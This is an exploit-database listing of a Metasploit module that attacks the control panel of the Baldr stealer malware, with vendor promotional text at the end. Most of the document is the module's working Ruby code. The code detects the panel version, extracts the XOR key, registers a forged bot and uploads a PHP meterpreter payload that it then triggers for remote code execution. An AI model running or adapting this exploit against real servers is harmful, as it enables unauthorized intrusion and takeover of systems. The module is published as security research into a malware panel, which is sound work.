Lucene search
K

Baldr Botnet Panel Shell Upload

🗓️ 29 Jul 2020 00:00:00Reported by Ege BalciType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 260 Views

Exploit for Baldr Botnet Panel Shell Upload vulnerability allowing remote code execution. Retrieved XOR key used to add malicious PHP code to victim logs and register new victim to the panel.

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',  
'Description' => %q{  
This module exploits a arbitrary file upload vulnerability within the Baldr  
stealer malware control panel. Attackers can turn this vulnerability into  
an RCE by adding a malicious PHP code inside the victim logs ZIP file and  
registering a new bot to the panel by uploading the ZIP file under logs  
directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4  
byte XOR key.  
  
This exploit module retrieves the IP spesific XOR key from panel gate  
and registers a new victim to the panel with adding the selected payload  
inside the victim logs.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ege Balcı <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],  
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],  
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'WfsDelay' => 5  
},  
'Platform' => [ 'php' ],  
'Arch' => [ ARCH_PHP ],  
'Targets' =>  
[  
[  
'Auto',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'<= v2.0',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'v2.2',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'v3.0 & v3.1',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 19 2018',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),  
]  
)  
end  
  
def check  
if select_target  
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def select_target  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'gate.php')  
)  
if res && res.code == 200  
if res.body.include?('~;~')  
targets[3]  
elsif res.body.include?(';')  
targets[2]  
elsif res.body.size < 4  
targets[1]  
end  
end  
end  
  
def exploit  
# Forge the payload  
name = ".#{Rex::Text.rand_text_alpha(4)}"  
files =  
[  
{ data: payload.encoded, fname: "#{name}.php" }  
]  
zip = Msf::Util::EXE.to_zip(files)  
hwid = Rex::Text.rand_text_alpha(8).upcase  
  
gate_uri = normalize_uri(target_uri.path, 'gate.php')  
version = select_target  
# If not 'Auto' then use the selected version  
if target != targets[0]  
version = target  
end  
  
gate_res = send_request_cgi({  
'method' => 'GET',  
'uri' => gate_uri  
})  
os = Rex::Text.rand_text_alpha(8..12)  
  
case version  
when targets[3]  
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res  
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')  
end  
key = gate_res.body.to_s.split('~;~')[0]  
print_good("Key: #{key}")  
  
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"  
data = Rex::Text.xor(key, data)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => gate_uri,  
'data' => data.to_s  
})  
  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200  
print_good('Bot successfully registered.')  
  
data = Rex::Text.xor(key, zip.to_s)  
form = Rex::MIME::Message.new  
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'data' => form.to_s  
})  
  
if res && res.code == 200  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
register_file_for_cleanup("#{name}.php")  
else  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
when targets[2]  
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res  
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')  
end  
  
key = gate_res.body.to_s.split(';')[0]  
print_good("Key: #{key}")  
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"  
data << zip.to_s  
result = Rex::Text.xor(key, data)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'data' => result.to_s  
})  
  
unless res && res.code == 200  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
else  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'data' => zip.to_s,  
'encode_params' => true,  
'vars_get' => {  
'hwid' => hwid,  
'os' => os,  
'cookie' => '0',  
'pswd' => '0',  
'credit' => '0',  
'wallet' => '0',  
'file' => '1',  
'autofill' => '0',  
'version' => 'v2.0'  
}  
})  
  
if res && res.code == 200  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
else  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
end  
  
vprint_status('Triggering payload')  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")  
}, 3)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation